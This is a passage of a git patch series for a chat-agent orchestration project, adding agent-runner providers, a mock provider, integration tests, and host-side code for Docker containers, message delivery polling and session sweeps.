(fs.existsSync(indexPath)) { + try { + const index = JSON.parse(fs.readFileSync(indexPath, 'utf-8')); + summary = index.entries?.find((e: { sessionId: string; summary?: string }) => e.sessionId === sessionId)?.summary; + } catch { + /* ignore */ + } + } + + const name = summary + ? summary.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-+|-+$/g, '').slice(0, 50) + : `conversation-${new Date().getHours().toString().padStart(2, '0')}${new Date().getMinutes().toString().padStart(2, '0')}`; + + const conversationsDir = '/workspace/agent/conversations'; + fs.mkdirSync(conversationsDir, { recursive: true }); + const filename = `${new Date().toISOString().split('T')[0]}-${name}.md`; + fs.writeFileSync(path.join(conversationsDir, filename), formatTranscriptMarkdown(messages, summary, assistantName)); + log(`Archived conversation to ${filename}`); + } catch (err) { + log(`Failed to archive transcript: ${err instanceof Error ? err.message : String(err)}`); + } + return {}; + }; +} + +// ── Provider ── + +export class ClaudeProvider implements AgentProvider { + private assistantName?: string; + + constructor(opts?: { assistantName?: string }) { + this.assistantName = opts?.assistantName; + } + + query(input: QueryInput): AgentQuery { + const stream = new MessageStream(); + stream.push(input.prompt); + + const sdkResult = sdkQuery({ + prompt: stream, + options: { + cwd: input.cwd, + additionalDirectories: input.additionalDirectories, + resume: input.sessionId, + resumeSessionAt: input.resumeAt, + systemPrompt: input.systemPrompt ? { type: 'preset' as const, preset: 'claude_code' as const, append: input.systemPrompt } : undefined, + allowedTools: TOOL_ALLOWLIST, + env: input.env, + permissionMode: 'bypassPermissions', + allowDangerouslySkipPermissions: true, + settingSources: ['project', 'user'], + mcpServers: input.mcpServers, + hooks: { + PreCompact: [{ hooks: [createPreCompactHook(this.assistantName)] }], + }, + }, + }); + + let aborted = false; + + async function* translateEvents(): AsyncGenerator { + let messageCount = 0; + for await (const message of sdkResult) { + if (aborted) return; + messageCount++; + + if (message.type === 'system' && message.subtype === 'init') { + yield { type: 'init', sessionId: message.session_id }; + } else if (message.type === 'result') { + const text = 'result' in message ? (message as { result?: string }).result ?? null : null; + yield { type: 'result', text }; + } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'api_retry') { + yield { type: 'error', message: 'API retry', retryable: true }; + } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'rate_limit_event') { + yield { type: 'error', message: 'Rate limit', retryable: false, classification: 'quota' }; + } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'task_notification') { + const tn = message as { summary?: string }; + yield { type: 'progress', message: tn.summary || 'Task notification' }; + } + // All other message types are logged but not emitted + } + log(`Query completed after ${messageCount} SDK messages`); + } + + return { + push: (msg) => stream.push(msg), + end: () => stream.end(), + events: translateEvents(), + abort: () => { + aborted = true; + stream.end(); + }, + }; + } +} diff --git a/container/agent-runner/src/providers/factory.ts b/container/agent-runner/src/providers/factory.ts new file mode 100644 index 0000000..077fd08 --- /dev/null +++ b/container/agent-runner/src/providers/factory.ts @@ -0,0 +1,16 @@ +import type { AgentProvider } from './types.js'; +import { ClaudeProvider } from './claude.js'; +import { MockProvider } from './mock.js'; + +export type ProviderName = 'claude' | 'mock'; + +export function createProvider(name: ProviderName, opts?: { assistantName?: string }): AgentProvider { + switch (name) { + case 'claude': + return new ClaudeProvider(opts); + case 'mock': + return new MockProvider(); + default: + throw new Error(`Unknown provider: ${name}`); + } +} diff --git a/container/agent-runner/src/providers/mock.ts b/container/agent-runner/src/providers/mock.ts new file mode 100644 index 0000000..ed5cad1 --- /dev/null +++ b/container/agent-runner/src/providers/mock.ts @@ -0,0 +1,66 @@ +import type { AgentProvider, AgentQuery, ProviderEvent, QueryInput } from './types.js'; + +/** + * Mock provider for testing. Returns canned responses. + * Supports push() — queued messages produce additional results. + */ +export class MockProvider implements AgentProvider { + private responseFactory: (prompt: string) => string; + + constructor(responseFactory?: (prompt: string) => string) { + this.responseFactory = responseFactory ?? ((prompt) => `Mock response to: ${prompt.slice(0, 100)}`); + } + + query(input: QueryInput): AgentQuery { + const pending: string[] = []; + let waiting: (() => void) | null = null; + let ended = false; + let aborted = false; + const responseFactory = this.responseFactory; + + const events: AsyncIterable = { + async *[Symbol.asyncIterator]() { + yield { type: 'init', sessionId: `mock-session-${Date.now()}` }; + + // Process initial prompt + yield { type: 'result', text: responseFactory(input.prompt) }; + + // Process any pushed follow-ups + while (!ended && !aborted) { + if (pending.length > 0) { + const msg = pending.shift()!; + yield { type: 'result', text: responseFactory(msg) }; + continue; + } + // Wait for push() or end() + await new Promise((resolve) => { + waiting = resolve; + }); + waiting = null; + } + + // Drain remaining + while (pending.length > 0) { + const msg = pending.shift()!; + yield { type: 'result', text: responseFactory(msg) }; + } + }, + }; + + return { + push(message: string) { + pending.push(message); + waiting?.(); + }, + end() { + ended = true; + waiting?.(); + }, + events, + abort() { + aborted = true; + waiting?.(); + }, + }; + } +} diff --git a/container/agent-runner/src/providers/types.ts b/container/agent-runner/src/providers/types.ts new file mode 100644 index 0000000..6e43f3b --- /dev/null +++ b/container/agent-runner/src/providers/types.ts @@ -0,0 +1,56 @@ +export interface AgentProvider { + /** Start a new query. Returns a handle for streaming input and output. */ + query(input: QueryInput): AgentQuery; +} + +export interface QueryInput { + /** Initial prompt (already formatted by agent-runner). */ + prompt: string; + + /** Session ID to resume, if any. */ + sessionId?: string; + + /** Resume from a specific point in the session (provider-specific). */ + resumeAt?: string; + + /** Working directory inside the container. */ + cwd: string; + + /** MCP server configurations. */ + mcpServers: Record; + + /** System prompt / developer instructions. */ + systemPrompt?: string; + + /** Environment variables for the SDK process. */ + env: Record; + + /** Additional directories the agent can access. */ + additionalDirectories?: string[]; +} + +export interface McpServerConfig { + command: string; + args: string[]; + env: Record; +} + +export interface AgentQuery { + /** Push a follow-up message into the active query. */ + push(message: string): void; + + /** Signal that no more input will be sent. */ + end(): void; + + /** Output event stream. */ + events: AsyncIterable; + + /** Force-stop the query. */ + abort(): void; +} + +export type ProviderEvent = + | { type: 'init'; sessionId: string } + | { type: 'result'; text: string | null } + | { type: 'error'; message: string; retryable: boolean; classification?: string } + | { type: 'progress'; message: string }; diff --git a/vitest.config.ts b/vitest.config.ts index a456d1c..d78e795 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -2,6 +2,6 @@ import { defineConfig } from 'vitest/config'; export default defineConfig({ test: { - include: ['src/**/*.test.ts', 'setup/**/*.test.ts'], + include: ['src/**/*.test.ts', 'setup/**/*.test.ts', 'container/agent-runner/src/**/*.test.ts'], }, }); From 18d0b6e53f1af94a8c41dcaf7f7df6a7277bcca9 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:40:00 +0300 Subject: [PATCH 009/295] v2: add agent-runner integration tests Poll loop end-to-end with mock provider: message pickup, batch processing, concurrent polling for late arrivals. Co-Authored-By: Claude Opus 4.6 (1M context) --- .../agent-runner/src/integration.test.ts | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 container/agent-runner/src/integration.test.ts diff --git a/container/agent-runner/src/integration.test.ts b/container/agent-runner/src/integration.test.ts new file mode 100644 index 0000000..63c07b7 --- /dev/null +++ b/container/agent-runner/src/integration.test.ts @@ -0,0 +1,120 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; + +import { initTestSessionDb, closeSessionDb, getSessionDb } from './db/connection.js'; +import { getUndeliveredMessages } from './db/messages-out.js'; +import { getPendingMessages } from './db/messages-in.js'; +import { MockProvider } from './providers/mock.js'; +import { runPollLoop } from './poll-loop.js'; + +beforeEach(() => { + initTestSessionDb(); +}); + +afterEach(() => { + closeSessionDb(); +}); + +function insertMessage(id: string, content: object, opts?: { platformId?: string; channelType?: string; threadId?: string }) { + getSessionDb() + .prepare( + `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content) + VALUES (?, 'chat', datetime('now'), 'pending', ?, ?, ?, ?)`, + ) + .run(id, opts?.platformId ?? null, opts?.channelType ?? null, opts?.threadId ?? null, JSON.stringify(content)); +} + +describe('poll loop integration', () => { + it('should pick up a message, process it, and write a response', async () => { + // Insert a message before starting the loop + insertMessage('m1', { sender: 'Alice', text: 'What is the meaning of life?' }, { platformId: 'chan-1', channelType: 'discord', threadId: 'thread-1' }); + + const provider = new MockProvider(() => '42'); + + // Run the poll loop in background, abort after it processes + const controller = new AbortController(); + const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); + + // Wait for processing + await waitFor(() => getUndeliveredMessages().length > 0, 2000); + controller.abort(); + + // Verify + const out = getUndeliveredMessages(); + expect(out).toHaveLength(1); + expect(JSON.parse(out[0].content).text).toBe('42'); + expect(out[0].platform_id).toBe('chan-1'); + expect(out[0].channel_type).toBe('discord'); + expect(out[0].thread_id).toBe('thread-1'); + expect(out[0].in_reply_to).toBe('m1'); + + // Input message should be completed + const pending = getPendingMessages(); + expect(pending).toHaveLength(0); + + await loopPromise.catch(() => {}); // swallow abort + }); + + it('should process multiple messages in a batch', async () => { + insertMessage('m1', { sender: 'Alice', text: 'Hello' }); + insertMessage('m2', { sender: 'Bob', text: 'World' }); + + const provider = new MockProvider(() => 'Got both messages'); + const controller = new AbortController(); + const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); + + await waitFor(() => getUndeliveredMessages().length > 0, 2000); + controller.abort(); + + const out = getUndeliveredMessages(); + expect(out).toHaveLength(1); + expect(JSON.parse(out[0].content).text).toBe('Got both messages'); + + await loopPromise.catch(() => {}); + }); + + it('should process messages arriving after loop starts', async () => { + const provider = new MockProvider(() => 'Processed'); + const controller = new AbortController(); + const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 3000); + + // Insert message after loop has started + await sleep(200); + insertMessage('m-late', { sender: 'Charlie', text: 'Late arrival' }); + + await waitFor(() => getUndeliveredMessages().length > 0, 2000); + controller.abort(); + + const out = getUndeliveredMessages(); + expect(out.length).toBeGreaterThanOrEqual(1); + + await loopPromise.catch(() => {}); + }); +}); + +// Helper: run poll loop until aborted or timeout +async function runPollLoopWithTimeout(provider: MockProvider, signal: AbortSignal, timeoutMs: number): Promise { + return Promise.race([ + runPollLoop({ + provider, + cwd: '/tmp', + mcpServers: {}, + env: {}, + }), + new Promise((_, reject) => { + signal.addEventListener('abort', () => reject(new Error('aborted'))); + }), + new Promise((_, reject) => setTimeout(() => reject(new Error('timeout')), timeoutMs)), + ]); +} + +async function waitFor(condition: () => boolean, timeoutMs: number): Promise { + const start = Date.now(); + while (!condition()) { + if (Date.now() - start > timeoutMs) throw new Error('waitFor timeout'); + await sleep(50); + } +} + +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} From d7c68e04b115b66294db63c8bf9099782782b4a0 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:43:13 +0300 Subject: [PATCH 010/295] =?UTF-8?q?v2=20phase=203:=20host=20core=20?= =?UTF-8?q?=E2=80=94=20router,=20session=20manager,=20delivery,=20sweep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Host orchestrator connecting channel events to session DBs and delivering responses back through channel adapters. - session-manager.ts: session folder/DB lifecycle, message writing - container-runner-v2.ts: Docker spawn with session + agent group mounts, OneCLI, idle timeout, agent-runner recompilation - router-v2.ts: inbound routing (channel → messaging group → agent group → session → messages_in → wake container) - delivery.ts: two-tier polling (1s active, 60s sweep) for messages_out, channel adapter delivery - host-sweep.ts: stale detection with backoff, recurrence, wake containers for due messages - index-v2.ts: thin entry point wiring everything together - scripts/test-v2-agent.ts: real Claude provider integration test Co-Authored-By: Claude Opus 4.6 (1M context) --- scripts/test-v2-agent.ts | 106 ++++++++++++++++ src/container-runner-v2.ts | 240 +++++++++++++++++++++++++++++++++++++ src/delivery.ts | 156 ++++++++++++++++++++++++ src/host-sweep.ts | 131 ++++++++++++++++++++ src/index-v2.ts | 49 ++++++++ src/router-v2.ts | 99 +++++++++++++++ src/session-manager.ts | 145 ++++++++++++++++++++++ 7 files changed, 926 insertions(+) create mode 100644 scripts/test-v2-agent.ts create mode 100644 src/container-runner-v2.ts create mode 100644 src/delivery.ts create mode 100644 src/host-sweep.ts create mode 100644 src/index-v2.ts create mode 100644 src/router-v2.ts create mode 100644 src/session-manager.ts diff --git a/scripts/test-v2-agent.ts b/scripts/test-v2-agent.ts new file mode 100644 index 0000000..0e8c020 --- /dev/null +++ b/scripts/test-v2-agent.ts @@ -0,0 +1,106 @@ +/** + * Quick integration test: create a session DB, insert a message, + * run the v2 poll loop with the Claude provider, verify output. + * + * Usage: npx tsx scripts/test-v2-agent.ts + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; + +const TEST_DIR = '/tmp/nanoclaw-v2-test'; +const DB_PATH = `${TEST_DIR}/session.db`; + +// Clean up +if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); +fs.mkdirSync(TEST_DIR, { recursive: true }); + +// Create session DB +const db = new Database(DB_PATH); +db.pragma('journal_mode = WAL'); +db.exec(` + CREATE TABLE messages_in ( + id TEXT PRIMARY KEY, kind TEXT NOT NULL, timestamp TEXT NOT NULL, + status TEXT DEFAULT 'pending', status_changed TEXT, process_after TEXT, + recurrence TEXT, tries INTEGER DEFAULT 0, platform_id TEXT, + channel_type TEXT, thread_id TEXT, content TEXT NOT NULL + ); + CREATE TABLE messages_out ( + id TEXT PRIMARY KEY, in_reply_to TEXT, timestamp TEXT NOT NULL, + delivered INTEGER DEFAULT 0, deliver_after TEXT, recurrence TEXT, + kind TEXT NOT NULL, platform_id TEXT, channel_type TEXT, + thread_id TEXT, content TEXT NOT NULL + ); +`); + +// Insert test message +db.prepare(`INSERT INTO messages_in (id, kind, timestamp, status, content) VALUES (?, 'chat', datetime('now'), 'pending', ?)`).run( + 'test-1', + JSON.stringify({ sender: 'Gavriel', text: 'Say "Hello from v2!" and nothing else. Do not use any tools.' }), +); +console.log('✓ Session DB created with test message'); +db.close(); + +// Set env and run the poll loop +process.env.SESSION_DB_PATH = DB_PATH; +process.env.AGENT_PROVIDER = 'claude'; + +const { getSessionDb, closeSessionDb } = await import('../container/agent-runner/src/db/connection.js'); +const { getUndeliveredMessages } = await import('../container/agent-runner/src/db/messages-out.js'); +const { getPendingMessages } = await import('../container/agent-runner/src/db/messages-in.js'); +const { createProvider } = await import('../container/agent-runner/src/providers/factory.js'); +const { runPollLoop } = await import('../container/agent-runner/src/poll-loop.js'); + +const provider = createProvider('claude'); + +console.log('✓ Claude provider created'); +console.log('⏳ Starting poll loop (will timeout after 60s)...'); + +// Run with timeout +const timeout = setTimeout(() => { + console.log('\n✗ Timed out after 60s'); + printResults(); + process.exit(1); +}, 60_000); + +// Poll for results in parallel +const resultChecker = setInterval(() => { + try { + const out = getUndeliveredMessages(); + if (out.length > 0) { + clearTimeout(timeout); + clearInterval(resultChecker); + console.log('\n✓ Got response!'); + printResults(); + process.exit(0); + } + } catch { + // DB might be locked, retry + } +}, 500); + +function printResults() { + const db2 = new Database(DB_PATH, { readonly: true }); + const inRows = db2.prepare('SELECT * FROM messages_in').all() as Array>; + const outRows = db2.prepare('SELECT * FROM messages_out').all() as Array>; + console.log('\n--- messages_in ---'); + for (const r of inRows) { + console.log(` [${r.id}] status=${r.status} kind=${r.kind} content=${r.content}`); + } + console.log('\n--- messages_out ---'); + for (const r of outRows) { + console.log(` [${r.id}] kind=${r.kind} content=${r.content}`); + } + db2.close(); +} + +// Start the poll loop (runs forever, we exit from the checker above) +try { + await runPollLoop({ + provider, + cwd: TEST_DIR, + mcpServers: {}, + env: { ...process.env }, + }); +} catch (err) { + // Expected — we force exit +} diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts new file mode 100644 index 0000000..79c49c8 --- /dev/null +++ b/src/container-runner-v2.ts @@ -0,0 +1,240 @@ +/** + * Container Runner v2 + * Spawns agent containers with session folder + agent group folder mounts. + * The container runs the v2 agent-runner which polls the session DB. + */ +import { ChildProcess, spawn } from 'child_process'; +import fs from 'fs'; +import path from 'path'; + +import { OneCLI } from '@onecli-sh/sdk'; + +import { CONTAINER_IMAGE, DATA_DIR, GROUPS_DIR, IDLE_TIMEOUT, ONECLI_URL, TIMEZONE } from './config.js'; +import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; +import { getAgentGroup } from './db/agent-groups.js'; +import { log } from './log.js'; +import { validateAdditionalMounts } from './mount-security.js'; +import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDbPath, sessionDir } from './session-manager.js'; +import type { AgentGroup, Session } from './types-v2.js'; + +const onecli = new OneCLI({ url: ONECLI_URL }); + +interface VolumeMount { + hostPath: string; + containerPath: string; + readonly: boolean; +} + +/** Active containers tracked by session ID. */ +const activeContainers = new Map(); + +export function getActiveContainerCount(): number { + return activeContainers.size; +} + +export function isContainerRunning(sessionId: string): boolean { + return activeContainers.has(sessionId); +} + +/** + * Wake up a container for a session. If already running, no-op. + * The container runs the v2 agent-runner which polls the session DB. + */ +export async function wakeContainer(session: Session): Promise { + if (activeContainers.has(session.id)) { + log.debug('Container already running', { sessionId: session.id }); + return; + } + + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + log.error('Agent group not found', { agentGroupId: session.agent_group_id }); + return; + } + + const mounts = buildMounts(agentGroup, session); + const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; + const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-'); + const args = await buildContainerArgs(mounts, containerName, session, agentGroup, agentIdentifier); + + log.info('Spawning container', { sessionId: session.id, agentGroup: agentGroup.name, containerName }); + + const container = spawn(CONTAINER_RUNTIME_BIN, args, { stdio: ['ignore', 'pipe', 'pipe'] }); + + activeContainers.set(session.id, { process: container, containerName }); + markContainerRunning(session.id); + + // Log stderr + container.stderr?.on('data', (data) => { + for (const line of data.toString().trim().split('\n')) { + if (line) log.debug(line, { container: agentGroup.folder }); + } + }); + + // stdout is unused in v2 (all IO is via session DB) + container.stdout?.on('data', () => {}); + + // Idle timeout: kill container after IDLE_TIMEOUT of no activity + let idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); + + const resetIdle = () => { + clearTimeout(idleTimer); + idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); + }; + + // Reset idle timer when the host detects new messages_out (called by delivery.ts) + const entry = activeContainers.get(session.id); + if (entry) { + (entry as { resetIdle?: () => void }).resetIdle = resetIdle; + } + + container.on('close', (code) => { + clearTimeout(idleTimer); + activeContainers.delete(session.id); + markContainerStopped(session.id); + log.info('Container exited', { sessionId: session.id, code, containerName }); + }); + + container.on('error', (err) => { + clearTimeout(idleTimer); + activeContainers.delete(session.id); + markContainerStopped(session.id); + log.error('Container spawn error', { sessionId: session.id, err }); + }); +} + +/** Reset the idle timer for a session's container (called when messages_out are delivered). */ +export function resetContainerIdleTimer(sessionId: string): void { + const entry = activeContainers.get(sessionId) as { resetIdle?: () => void } | undefined; + entry?.resetIdle?.(); +} + +/** Kill a container for a session. */ +export function killContainer(sessionId: string, reason: string): void { + const entry = activeContainers.get(sessionId); + if (!entry) return; + + log.info('Killing container', { sessionId, reason, containerName: entry.containerName }); + try { + stopContainer(entry.containerName); + } catch { + entry.process.kill('SIGKILL'); + } +} + +function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { + const mounts: VolumeMount[] = []; + const projectRoot = process.cwd(); + const sessDir = sessionDir(agentGroup.id, session.id); + const groupDir = path.resolve(GROUPS_DIR, agentGroup.folder); + + // Session folder at /workspace (contains session.db, outbox/, .claude/) + mounts.push({ hostPath: sessDir, containerPath: '/workspace', readonly: false }); + + // Agent group folder at /workspace/agent + fs.mkdirSync(groupDir, { recursive: true }); + mounts.push({ hostPath: groupDir, containerPath: '/workspace/agent', readonly: false }); + + // Global memory directory + const globalDir = path.join(GROUPS_DIR, 'global'); + if (fs.existsSync(globalDir)) { + mounts.push({ hostPath: globalDir, containerPath: '/workspace/global', readonly: !agentGroup.is_admin }); + } + + // Claude sessions directory (per agent group, shared across sessions) + const claudeDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, '.claude-shared'); + fs.mkdirSync(claudeDir, { recursive: true }); + const settingsFile = path.join(claudeDir, 'settings.json'); + if (!fs.existsSync(settingsFile)) { + fs.writeFileSync(settingsFile, JSON.stringify({ + env: { + CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', + CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', + CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', + }, + }, null, 2) + '\n'); + } + + // Sync container skills + const skillsSrc = path.join(projectRoot, 'container', 'skills'); + const skillsDst = path.join(claudeDir, 'skills'); + if (fs.existsSync(skillsSrc)) { + for (const skillDir of fs.readdirSync(skillsSrc)) { + const srcDir = path.join(skillsSrc, skillDir); + if (fs.statSync(srcDir).isDirectory()) { + fs.cpSync(srcDir, path.join(skillsDst, skillDir), { recursive: true }); + } + } + } + mounts.push({ hostPath: claudeDir, containerPath: '/home/node/.claude', readonly: false }); + + // Agent-runner source (per agent group, recompiled on container startup) + const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); + const groupRunnerDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, 'agent-runner-src'); + if (fs.existsSync(agentRunnerSrc)) { + const srcIndex = path.join(agentRunnerSrc, 'index-v2.ts'); + const cachedIndex = path.join(groupRunnerDir, 'index-v2.ts'); + const needsCopy = !fs.existsSync(groupRunnerDir) || !fs.existsSync(cachedIndex) || fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs; + if (needsCopy) { + fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); + } + } + mounts.push({ hostPath: groupRunnerDir, containerPath: '/app/src', readonly: false }); + + // Admin: mount project root read-only + if (agentGroup.is_admin) { + mounts.push({ hostPath: projectRoot, containerPath: '/workspace/project', readonly: true }); + const envFile = path.join(projectRoot, '.env'); + if (fs.existsSync(envFile)) { + mounts.push({ hostPath: '/dev/null', containerPath: '/workspace/project/.env', readonly: true }); + } + } + + // Additional mounts from container config + const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (containerConfig.additionalMounts) { + const validated = validateAdditionalMounts(containerConfig.additionalMounts, agentGroup.name, !!agentGroup.is_admin); + mounts.push(...validated); + } + + return mounts; +} + +async function buildContainerArgs(mounts: VolumeMount[], containerName: string, session: Session, agentGroup: AgentGroup, agentIdentifier?: string): Promise { + const args: string[] = ['run', '--rm', '--name', containerName]; + + // Environment + args.push('-e', `TZ=${TIMEZONE}`); + args.push('-e', `AGENT_PROVIDER=${session.agent_provider || agentGroup.agent_provider || 'claude'}`); + args.push('-e', `SESSION_DB_PATH=/workspace/session.db`); + + // OneCLI gateway + const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); + if (onecliApplied) { + log.debug('OneCLI gateway applied', { containerName }); + } + + // Host gateway + args.push(...hostGatewayArgs()); + + // User mapping + const hostUid = process.getuid?.(); + const hostGid = process.getgid?.(); + if (hostUid != null && hostUid !== 0 && hostUid !== 1000) { + args.push('--user', `${hostUid}:${hostGid}`); + args.push('-e', 'HOME=/home/node'); + } + + // Volume mounts + for (const mount of mounts) { + if (mount.readonly) { + args.push(...readonlyMountArgs(mount.hostPath, mount.containerPath)); + } else { + args.push('-v', `${mount.hostPath}:${mount.containerPath}`); + } + } + + args.push(CONTAINER_IMAGE); + + return args; +} diff --git a/src/delivery.ts b/src/delivery.ts new file mode 100644 index 0000000..ea52e74 --- /dev/null +++ b/src/delivery.ts @@ -0,0 +1,156 @@ +/** + * Outbound message delivery. + * Polls active session DBs for undelivered messages_out, delivers through channel adapters. + */ +import Database from 'better-sqlite3'; + +import { getRunningSessions, getActiveSessions } from './db/sessions.js'; +import { getAgentGroup } from './db/agent-groups.js'; +import { log } from './log.js'; +import { openSessionDb, sessionDbPath } from './session-manager.js'; +import { resetContainerIdleTimer } from './container-runner-v2.js'; +import type { Session } from './types-v2.js'; + +const ACTIVE_POLL_MS = 1000; +const SWEEP_POLL_MS = 60_000; + +export interface ChannelDeliveryAdapter { + deliver(channelType: string, platformId: string, threadId: string | null, kind: string, content: string): Promise; + setTyping?(channelType: string, platformId: string, threadId: string | null): Promise; +} + +let deliveryAdapter: ChannelDeliveryAdapter | null = null; +let activePolling = false; +let sweepPolling = false; + +export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void { + deliveryAdapter = adapter; +} + +/** Start the active container poll loop (~1s). */ +export function startActiveDeliveryPoll(): void { + if (activePolling) return; + activePolling = true; + pollActive(); +} + +/** Start the sweep poll loop (~60s). */ +export function startSweepDeliveryPoll(): void { + if (sweepPolling) return; + sweepPolling = true; + pollSweep(); +} + +async function pollActive(): Promise { + if (!activePolling) return; + + try { + const sessions = getRunningSessions(); + for (const session of sessions) { + await deliverSessionMessages(session); + } + } catch (err) { + log.error('Active delivery poll error', { err }); + } + + setTimeout(pollActive, ACTIVE_POLL_MS); +} + +async function pollSweep(): Promise { + if (!sweepPolling) return; + + try { + const sessions = getActiveSessions(); + for (const session of sessions) { + await deliverSessionMessages(session); + } + } catch (err) { + log.error('Sweep delivery poll error', { err }); + } + + setTimeout(pollSweep, SWEEP_POLL_MS); +} + +async function deliverSessionMessages(session: Session): Promise { + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) return; + + let db: Database.Database; + try { + db = openSessionDb(agentGroup.id, session.id); + } catch { + return; // Session DB might not exist yet + } + + try { + const undelivered = db + .prepare( + `SELECT * FROM messages_out + WHERE delivered = 0 + AND (deliver_after IS NULL OR deliver_after <= datetime('now')) + ORDER BY timestamp ASC`, + ) + .all() as Array<{ + id: string; + kind: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; + }>; + + if (undelivered.length === 0) return; + + for (const msg of undelivered) { + try { + await deliverMessage(msg, session); + db.prepare('UPDATE messages_out SET delivered = 1 WHERE id = ?').run(msg.id); + resetContainerIdleTimer(session.id); + } catch (err) { + log.error('Failed to deliver message', { messageId: msg.id, sessionId: session.id, err }); + } + } + } finally { + db.close(); + } +} + +async function deliverMessage( + msg: { id: string; kind: string; platform_id: string | null; channel_type: string | null; thread_id: string | null; content: string }, + session: Session, +): Promise { + if (!deliveryAdapter) { + log.warn('No delivery adapter configured, dropping message', { id: msg.id }); + return; + } + + const content = JSON.parse(msg.content); + + // System actions — handle internally + if (msg.kind === 'system') { + log.info('System action from agent', { sessionId: session.id, action: content.action }); + // TODO: handle system actions (register_group, reset_session, etc.) + return; + } + + // Agent-to-agent — route to target session + if (msg.channel_type === 'agent') { + log.info('Agent-to-agent message', { from: session.id, target: msg.platform_id }); + // TODO: route to target agent's session DB + return; + } + + // Channel delivery + if (!msg.channel_type || !msg.platform_id) { + log.warn('Message missing routing fields', { id: msg.id }); + return; + } + + await deliveryAdapter.deliver(msg.channel_type, msg.platform_id, msg.thread_id, msg.kind, msg.content); + log.info('Message delivered', { id: msg.id, channelType: msg.channel_type, platformId: msg.platform_id }); +} + +export function stopDeliveryPolls(): void { + activePolling = false; + sweepPolling = false; +} diff --git a/src/host-sweep.ts b/src/host-sweep.ts new file mode 100644 index 0000000..431f04a --- /dev/null +++ b/src/host-sweep.ts @@ -0,0 +1,131 @@ +/** + * Host sweep — periodic maintenance of all session DBs. + * + * - Wake containers for sessions with due messages (process_after) + * - Detect stale processing messages (container crash) → reset with backoff + * - Insert next occurrence for recurring messages + * - Kill idle containers past timeout + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; + +import { getActiveSessions, updateSession } from './db/sessions.js'; +import { getAgentGroup } from './db/agent-groups.js'; +import { log } from './log.js'; +import { openSessionDb, sessionDbPath } from './session-manager.js'; +import { wakeContainer, isContainerRunning } from './container-runner-v2.js'; +import type { Session } from './types-v2.js'; + +const SWEEP_INTERVAL_MS = 60_000; +const STALE_THRESHOLD_MS = 10 * 60 * 1000; // 10 minutes +const MAX_TRIES = 5; +const BACKOFF_BASE_MS = 5000; + +let running = false; + +export function startHostSweep(): void { + if (running) return; + running = true; + sweep(); +} + +export function stopHostSweep(): void { + running = false; +} + +async function sweep(): Promise { + if (!running) return; + + try { + const sessions = getActiveSessions(); + for (const session of sessions) { + await sweepSession(session); + } + } catch (err) { + log.error('Host sweep error', { err }); + } + + setTimeout(sweep, SWEEP_INTERVAL_MS); +} + +async function sweepSession(session: Session): Promise { + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) return; + + const dbPath = sessionDbPath(agentGroup.id, session.id); + if (!fs.existsSync(dbPath)) return; + + let db: Database.Database; + try { + db = new Database(dbPath); + db.pragma('journal_mode = WAL'); + } catch { + return; + } + + try { + // 1. Check for due pending messages → wake container + const dueMessages = db + .prepare( + `SELECT COUNT(*) as count FROM messages_in + WHERE status = 'pending' + AND (process_after IS NULL OR process_after <= datetime('now'))`, + ) + .get() as { count: number }; + + if (dueMessages.count > 0 && !isContainerRunning(session.id)) { + log.info('Waking container for due messages', { sessionId: session.id, count: dueMessages.count }); + await wakeContainer(session); + } + + // 2. Detect stale processing messages + const staleMessages = db + .prepare( + `SELECT id, tries FROM messages_in + WHERE status = 'processing' + AND status_changed < datetime('now', '-${Math.floor(STALE_THRESHOLD_MS / 1000)} seconds')`, + ) + .all() as Array<{ id: string; tries: number }>; + + for (const msg of staleMessages) { + if (msg.tries >= MAX_TRIES) { + db.prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run(msg.id); + log.warn('Message marked as failed after max retries', { messageId: msg.id, sessionId: session.id }); + } else { + const backoffMs = 